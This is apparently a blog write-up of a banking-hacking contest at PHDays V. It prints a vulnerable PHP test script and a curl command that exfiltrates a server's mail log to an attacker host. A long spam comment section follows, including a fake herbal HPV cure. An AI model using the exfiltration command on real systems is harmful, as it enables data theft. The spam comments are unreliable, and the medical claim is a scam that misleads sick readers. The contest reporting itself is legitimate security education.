How much does it take to hack a mobile network?
Is electronic government secure
in the era of WikiLeaks and Anonymous?

Is SCADA hacking a Hollywood fiction
or the nowadays reality?
Internet banking: is there any chance to win
over the fraudsters?

Cyber-crimes, cyber-espionage, cyber-war: where do we draw a borderline?

Pages

Friday, June 5, 2015

How They Hacked Internet Banking at PHDays V


During Positive Hack Days V, which was held on May 26 and 27 in Moscow, the $natch competition was organized again. It consisted of two rounds. First, the contest's participants were provided with virtual machine copies that contained vulnerable web services of an internet banking system (an analog of a real system). After that, they had to analyze the banking system image and try to transfer money from the bank to their own accounts by exploiting security defects they had detected.

This year's format combined various competitions with CTF (see our blog), and CTF teams were able to take part in them along with the rest of the forum's attendees. Thirty people participated in $natch. The prize money was ramped up to 40,000 rubles (last year it was 20,000).


Technical details

PHDays iBank was developed especially for the contest. It contained vulnerabilities that occur in real banking systems. The system was divided into frontend and backend that provided a simple RESTful API, which is why participants needed to study the communication protocol that supports different components of the internet banking system.

A typical i-banking system contains logical vulnerabilities (related to weak validation, which causes data leakage) rather than crude security lapses that allow malicious code injection and execution. The contest's banking system mainly contained the former.
PHDays iBank offered 10 banking accounts with seven vulnerability combinations (the more sophisticated the vulnerability is, the more money there was in an account).

Participants could perform such attacks as:

  • brute-force using a list of most common passwords available on the web;
  • hack accounts via bypassing their two-factor authentication;
  • exploit vulnerabilities in password-reset algorithms;
  • experiment with the test script that was used to control API backend performance (validation bypassing, arbitrary file reading);
  • bypass postponed payment protection mechanism (the attack allowed stealing money from other contestants' accounts).

Examples of vulnerabilities

The test script included the following code:

<?php

if ($_SERVER['HTTP_HOST'] != 'ibank.dev') {
    exit;
}

if (empty($_GET['url'])) {
    exit;
}

$parts = parse_url($_GET['url']);
$port = empty($parts['port']) ? '' : ':' . $parts['port'];
$url = "http://{$parts['host']}$port/status";

$ch = curl_init();

curl_setopt_array($ch, [
//    CURLOPT_URL            => $_GET['url'],
    CURLOPT_URL            => $url,
    CURLOPT_HEADER         => false,
    CURLOPT_RETURNTRANSFER => true,
]);

if (!empty($_GET['params'])) {
    curl_setopt_array($ch, [
        CURLOPT_POST       => true,
        CURLOPT_POSTFIELDS => $_GET['params']
    ]);
}

var_dump(curl_exec($ch));

curl_close($ch);

It was possible to bypass hostname validation. Due to the possibility of file transfer and by using @ in the parameter value, the following attack could be performed:

curl -H 'Host: ibank.dev' 'http://SERVER_IP/api_test.php?url=http://ATTACKER_IP/&params\[a\]=@ /var/www/frontend/data/logs/mail.log'

Upon obtaining access to the log file of sent messages, the participant could find passwords to accounts that used password recovery system.

To bypass two-factor authentication, participants used a vulnerability that featured in an article on Sakurity.com.During the contest, it turned out that not all the participants were aware of that vulnerability, some of them were checking all possible values as in the old times.


The battle

Apart from attacking the internet banking system, participants could steal money from other contestants' accounts. More Smoked Leet Chicken chose this method and won the contest, making 15,000 rubles. Stas Povolotsky, who took second place, managed to steal 3,200 rubles from the contest's bank.

It's worth mentioning that RDot detected and exploited the most number of vulnerabilities. However, the team failed to protect the earned money, and More Smoked Leet Chicken took the advantage and stole the money from RDot's account.

Final scoreboard


Congratulations to the winners!

113 comments:

  1. This is a wonderful blog. I really like these type of posts which are written in simple writing so that everyone can understand it, and everyone can understand what message does author wants to convey.Thanks for the post.

    ReplyDelete
    Replies
    1. To bypass thing authentication, participants used a vulnerability that featured in an article on Sakurity all through the contest, Custom Coursework Help it grew to become out that not all the participants had been aware about that vulnerability, some of them were checking all feasible values as in the old times. the competition's banking machine specially contained the former.

      Delete
  2. Thanks for sharing. They gave the information very clearly and in detail, which simplifies its understanding. You have done a lot of serious work and now the readers understand everything. Thank you!

    ReplyDelete
  3. All big companies need to be aware of their level of internet defend because each day hackers try to break different systems and all your valuable information could be deleted unless you pay redemption. A lot of rewardedessays were deleted this year due to hacker attacks. Please be careful with your files.

    ReplyDelete
  4. For boost your Google play store apps top then buy app reviews and Buy android reviews and Buy ios reviews from https://applytics.co they are providing the best service.

    ReplyDelete
  5. I personally think that this essay writing service is one of the best on the market. You could do just about everything with it. Check it out!

    ReplyDelete
  6. All Assignment Help review
    A superior all assignment Help reviews offered by this website with the advantage of online support with high proficiency level based on its latest research and information by professional reviews writers. Wide ranges of subjects are covered with separate writers for each subject.

    ReplyDelete

  7. It’s really a very nice article amazing in fact. For students help you just look at the Online Assignment helpgiven by the assignment experts.

    ReplyDelete
  8. It’s difficult to find well-informed people for this subject, but you sound like you know what you’re talking about! Thanks

    Facetime For PC An exclusive computer system application which comes preinstalled in every Apple products, while it's an iPhone, iPad or perhaps a Mac book.

    ReplyDelete
  9. Then end users should sign-up with procedure and choose presently operating films kind listing and search for information of theaters and ebook ticket as Obat Varises a result of online payment making use of credit card or visa card.

    ReplyDelete
  10. Content informing throughout advertising has changed into Bulk SMS benefit. Driving organizations presently depend on sending boundless instant messages to their clients. You can likewise fuse the mix of mass SMS with a computerized Programmable SMS process

    ReplyDelete
  11. It is more interesting one. I like this post. The article is containing the more ideas and interesting content. Get Assignment Help from the best experts having more than 10 years experience. High quality solutions, Plagiarism-free paper.

    ReplyDelete
  12. very sad to hear this and really appreciate your team work
    bookzz

    ReplyDelete
  13. Your resource is so interesting and informative for me and this article explained everything in detail. You have done superb job thanks for sharing this kind of stuff with us and also We're excited about our exclusive report on the top augmented reality development companies of 2018. Have a look at theaugmented reality developers

    ReplyDelete
  14. Your resource is so interesting and informative for me and this article explained everything in detail. You have done superb job thanks for sharing this kind of stuff with us. Read more about the ReactJS Vs Vue.js

    ReplyDelete
  15. Good news. Appreciate this post. Thank you for compiling and sharing it.
    Get the latest news headlines on Mobile App Development.

    ReplyDelete
  16. macys insite: Macy’s organization is a unique American retail establishment. The organization, founded by Rowland Hussey Macy was previously known by the name of R. H. Macy and Co.

    ReplyDelete
  17. Droid 4x comes with pre-installed play store which normally all emulator provides but the best part about this is that it provide you with the capability to edit.
    http://droid4x.online/

    ReplyDelete
  18. Dunkin’ Donuts is an American global doughnut company and coffeehouse based in Canton, Massachusetts founded on 1950; 68 years ago.
    telldunkinsurvey
    telldunkin

    ReplyDelete
  19. kingroot apk
    kingroot install
    kingroot for pc
    kingroot for android
    kingroot latest version
    One of the best root tool is KingRoot. If you do not want to flash third part recovery in your Android device and you need just root access.

    ReplyDelete
  20. Hotstar App let you watch free online TV shows and sports programs. This is India’s largest live streaming app with more than 400 million followers offering live coverages of global events on a paid subscription.

    ReplyDelete
  21. Creating a new Gmail business account within just a few seconds

    ReplyDelete
  22. kingroot
    king root
    kingoroot
    kingroot app
    kingroot download

    This is India’s largest live streaming app with more than 400 million followers offering live coverages.

    ReplyDelete
  23. I loved the article, keep updating interesting articles. I will be a regular reader… I am offering assignment help to students over the globe at a low price.

    Article Assignment Help
    Essay Assignment Helper
    Essay writing
    Essay writing service
    Dissertation help
    Thesis writing help
    Write My Essay
    Do My Essay
    Hire Cheap Essay Writer
    College Essay Help

    ReplyDelete
  24. I found this one pretty fascinating and it should go into my collection. Very good work! I am Impressed. We appreciate that please keep going to write more content. We are the assignment helper, we provide services all over the globe. We are best in these services:-
    Essay writing
    Essay Writer
    Article rewriter
    Essay writing service
    Essay writing help
    Write My Essay
    Write My Article
    Essay Helps
    Write my essay cheap
    Do my essay cheap

    ReplyDelete
  25. Thanks for sharing this information. I have shared this link with others keep posting such information. to provide best in class law assignment help online at very affordable prices.
    Assignment Help
    Assignment Helper
    Essay writing
    Essay writing service
    Dissertation help
    Thesis writing help
    Write My Essay
    Computer Science Assignment Help
    Assignment Help Soth Africa
    Assignment Writing Service

    ReplyDelete
  26. Many of the people are depressed about the problems of essay writing. Well, don’t worry about that because we are providing this service at a very reasonable price.
    Digital Markrting Blog
    SEO Blog
    Social Media Blog
    Email Marketeting Blog
    Online marketing Blog

    ReplyDelete
  27. This comment has been removed by the author.

    ReplyDelete
  28. We provide Best assignments help in Australia to the students like case study, essay writing assignment help, Report Writing, Custom writing, nursing assignment help and more. Our team has experienced assignment experts at best price by Assignment provider. Who looking forConsumer behaviour assignment helpfrom Engineering expert get a contact with sample assignment. customer satisfaction is the utmost priority, hence, the quality inspection team makes sure that every assignment is entirely unique and does not contain any sign of grammatical and spelling errors before reaching the client. Can an assignment helperin improving a student’s academic performance? Yes, Our academic experts are committed to delivering high-quality assessment solutions to you and work under a certain date of timeline Certainly! And, this is why we are here – to help you achieve the top grades!

    ReplyDelete
  29. Firstly, you need to check whether the IP 192.168.l.254 Login of your router has been typed properly or not.

    ReplyDelete
  30. Thanks for sharing this information. I have shared this link with other keep posting such information to provide best in class law assignment help online at very affordable prices.

    Assignment help
    Assignment help
    Assignment help
    Python Programming Assignment
    Programming Assignment Experts
    Assignment help tutors
    Assignment help

    ReplyDelete
  31. Thank you for sharing the post. I learned a lot from it.
    imgrum

    ReplyDelete
  32. Showbox is one the best app to watch your favorite movies & TV shows. Stream any video or download movies & TV Shows for free.

    ReplyDelete
  33. FaceTime is a proprietary video telephony product developed by Apple Inc. FaceTime is available on supported iOS mobile devices and Macintosh computers. How Facetime is used ?

    ReplyDelete
  34. This is a great motivating content.I am fairly much happy with your great work.You put really very information. review of ibdc trade international

    ReplyDelete
  35. Liteblue is the official employee login portal of the United States Postal Service.
    liteblue

    ReplyDelete
  36. Liteblue is the official employee login portal of the United States Postal Service.
    liteblue

    ReplyDelete
    Replies
    1. This is very attention-grabbing, You're an excessively skilled blogger.
      I've joined your rss feed.
      Howdy, I read your blog
      you get a lot of spam responses? If you stop
      it, any plugin or anything you can recommend? I am so much so
      very much appreciated.

      MPL Mod Apk

      Delete
  37. really good post about internet hacking.

    ReplyDelete
  38. HI,, if you love to watch movies than read the showbox guide.
    showbox topfreewebgames
    Mobdro Apk latest Version

    ReplyDelete
  39. Thank you for such an informative piece of work. It, indeed, is pretty informative! However, this is to inform the reader about online assignment expert, an Online assignment help providing company. The brand has about 5000 academic writers. I am one of those assignment help providing experts. When you do have a look at our website, the academic experts online would commence processing your assignment requirement with the top quality assignment writing services. For the students, looking for an assignment Expert Australia bound company, Online Assignment Expert has been the primary choice when it comes to Assignment Experts in Australia and abroad. Also deployed on the website are Free samples so that you can clear all your doubts on how to go about a particular assignment question and score HD by contacting our assignment experts. With an in-depth research going into each and every assignment we provide, the quality of our assignment help online has set industry breaking standards. In order to contact us in the most convenient way possible, we have accommodated a quick form and email to make our online assignment help Australia bound services in a jiffy.

    ReplyDelete
  40. SHAREit additionally has a web-based gushing area where you can watch Latest Movies, TV Series, Trending Videos and download Free Songs.
    https://www.shareit.kim/
    shareit
    share it

    ReplyDelete
  41. Your asset is so fascinating and educational for me and this article clarified everything in detail. You have done great occupation a debt of gratitude is in order for imparting this sort of stuff to us. Peruse progressively about the theallandall.com

    ReplyDelete
  42. 5 years ago I had warts, I was treated with some liquid applied to the warts they continued to grow and spread... The next 2 doctors did laser surgery to remove them. 1 year after the surgery, they grew back close to where the 1st ones were' so I was finally told it was hpv. I have had it for very long time, I contract it from my cheated boyfriend and I found out he was also infected and I end up the relationship between us. the warts was so embarrasses because it started spreading all over I have be dealing with this things for very long time the last treatment I take was About 2 years ago I applied natural treatment from Dr onokun herbal cure, a week after applying the treatment all the warts was gone. it's now 2 years and some months I don't have single wart or any symptoms of hpv. wow"" it's great, Dr onokun has finally cured me. Anyone living with hpv contact Dr onokun for natural treatment.
    His email address: dronokunherbalcure@gm‎ail.com

    ReplyDelete
  43. Cartoon HD is an online streaming app that allows users to watch and download free Cartoon shows online.
    https://www.cartoonhd.org.in/
    Cartoon Hd
    Cartoon Hd Apk
    Cartoon Hd Apk Download
    cartoon hd ios

    ReplyDelete
  44. I've been conducting an investigation on the topic of hackers and it's really impressive what these guys can do. Anyone may become their victim.

    ReplyDelete
  45. ShowBox is a free Entertainment app that provides Movies, TV Shows, Reality Shows to watch for free.
    https://www.showbox.uno/
    showbox
    showbox apk
    showbox movies
    showbox app download

    ReplyDelete
  46. Nice article thanks for this great informtion

    ReplyDelete
  47. Oh my goodness! Awesome article dude! Many thanks, However I am having issues with your RSS. I don’t know the reason why I am unable to subscribe to it. Is there anybody having similar RSS problems? Anyone that knows the solution will you kindly respond? Thanks for this solution ooroobeds!!

    ReplyDelete
  48. I absolutely love your site.. Very nice colors & theme. Did you develop this amazing site yourself? Please reply back as I’m wanting to create my own personal website and would love to know where you got this from or what the theme is named. Thanks! https://www.websitedesignstudio.com.au/

    ReplyDelete
  49. After I initially commented I seem to have clicked on the -Notify me when new comments are added- checkbox and now every time a comment is added I receive 4 emails with the exact same comment. There has to be an easy method you are able to remove me from that service? Kudos! https://downloadtwittervideo.net/

    ReplyDelete
  50. Thank you for such a great information! I found some very useful point for my work at https://expertwriter.net so thank you so much for sharing these awesome articles!

    ReplyDelete
  51. Many students are undecided about the best nursing essay writing and custom papers online help company to deal with due to the high number of companies that offer similar services.

    ReplyDelete
  52. Showbox Apk is one the best app to watch your favorite movies

    ReplyDelete

  53. CashFire is the Highest Paying Pay Per Download Network that Provides Monetization Solutions and Content Locking Tools for Online
    Trusted PPD Sites
    New pay per download sites
    pay per Download network

    ReplyDelete
  54. You attain full value for the money which you put in to access when you seek the services of our custom dissertation writing help, as well as other types of top research papers from our firm which include dissertations, theses, reviews any different writings.

    ReplyDelete
  55. Students who seek best nursing paper writing service from the custom writing company get good grades as the custom written term paper is well written without errors. They are also guaranteed of getting Custom Nursing Essay Help that are free from grammatical errors.

    ReplyDelete
  56. TutuApp iOS Free Download Latest Version 2019 Best Version Free! here And Also more...
    TutuApp
    TutuApp Download
    TutuApp Lite

    ReplyDelete
  57. While I was going through this blog, I realised what different that our experts of assignment help Adelaide were doing while writing down these assignments. We make sure that whatever assignments that they write, surpasses the highest of the quality. Their services provide cheap assignment help to students and offer a range of assignment writing including essay, reports, presentation, dissertation, etc. The assignments written by their experts of assignment help Melbourne passes through a rigorous quality check that follows every university guidelines. Students are free to visit their assignment help Adelaide at My Assignment Services.

    ReplyDelete
  58. operamini windows
    operamini android
    opera mini android
    Is there anybody having similar RSS problems? Anyone that knows the solution will you kindly respond.

    ReplyDelete
  59. tutu app is a app to download paid stuff for free download paid apps for free

    ReplyDelete
  60. Thanks for providing this information .I hope it will be fruitfull for me. Thank you so much and keep posting.scaffolding dealers in chennai

    aluminium scaffolding dealers in chennai

    ReplyDelete
  61. All our Homework Assignment Help Online are normally written by an expert; therefore, there will never be a time when a student will get poor quality work. We provide students with Assignment Help Service that have been written by experienced writers. Students can count on us to get fast and effective help from writers who hold master’s and Ph.D degrees.

    ReplyDelete
  62. These roblox music ids and roblox song codes are very commonly used to listen to music inside Roblox. You can find out your favorite roblox Song ID from below

    Roblox Music ids

    ReplyDelete
  63. Our nursing capstone help provides work that is correctly formatted and accurately written to a high standard just the way that you want it every time.


    ReplyDelete
  64. All our Custom Nursing Essay Writing Services are normally written by an expert; therefore, there will never be a time when a student will get poor quality work. We provide students with Nursing Assignment Writing Services that have been written by experienced writers. Students can count on us to get fast and effective help from writers who hold master’s and Ph.D degrees.

    ReplyDelete
  65. 5 years ago I had warts, I was treated with some liquid applied to the warts they continued to grow and spread... The next 2 doctors did laser surgery to remove them. 1 year after the surgery, they grew back close to where the 1st ones were' so I was finally told it was hpv. I have had it for very long time, I contract it from my cheated boyfriend and I found out he was also infected and I end up the relationship between us. the warts was so embarrasses because it started spreading all over I have be dealing with this things for very long time the last treatment I take was About 2 years ago I applied natural treatment from Dr onokun herbal cure, a week after applying the treatment all the warts was gone. it's now 2 years and some months I don't have single wart or any symptoms of hpv. wow"" it's great, Dr onokun has finally cured me. Anyone living with hpv contact Dr onokun for natural treatment.
    His email address: dronokunherbalcure@gmail.com

    ReplyDelete
  66. Have you decided to get a good education? Essaylab.co.uk will help you solve any problems.

    ReplyDelete
  67. The crisis has made a big difference in our lives. Everyone wants to feel safer and expects a better quality of life. Our blog addresses the issue of information security. Phones and mobile electronics surround us everywhere, how to protect your data and not allow us to access your private information? On your blog deals with the problem of information security. Phones and mobile electronics are everywhere around us, how to secure your data and not to let you access your private information? Learn aprenda como rastrear telefonos of your loved ones so that you can help them at any time. These are important questions and everyone should know how to take care of their digital security in today's digital world.

    ReplyDelete
  68. Wow, realy useful information for us,like to read posts like this,but if you want to write something i offer you http://essaylab.co.uk/ with very cool service

    ReplyDelete
  69. for seo and wordpress services check out these websites
    wpincare
    bibytes

    ReplyDelete
  70. If you are new to Kodi, let me tell you that you can install it on Pc and these are the Best Kodi Addons

    ReplyDelete
  71. I am a front-end developer for me, this article is very informative. I also love the quality service. I advise you for writing essays. http://essaylab.co.uk/

    ReplyDelete
  72. Thanks for article, got pleasure reading it, keep it up!

    ReplyDelete
  73. It's going to be ending of mine day, except before finish I am reading this enormous paragraph to improve my knowledge. buy dissertation online

    ReplyDelete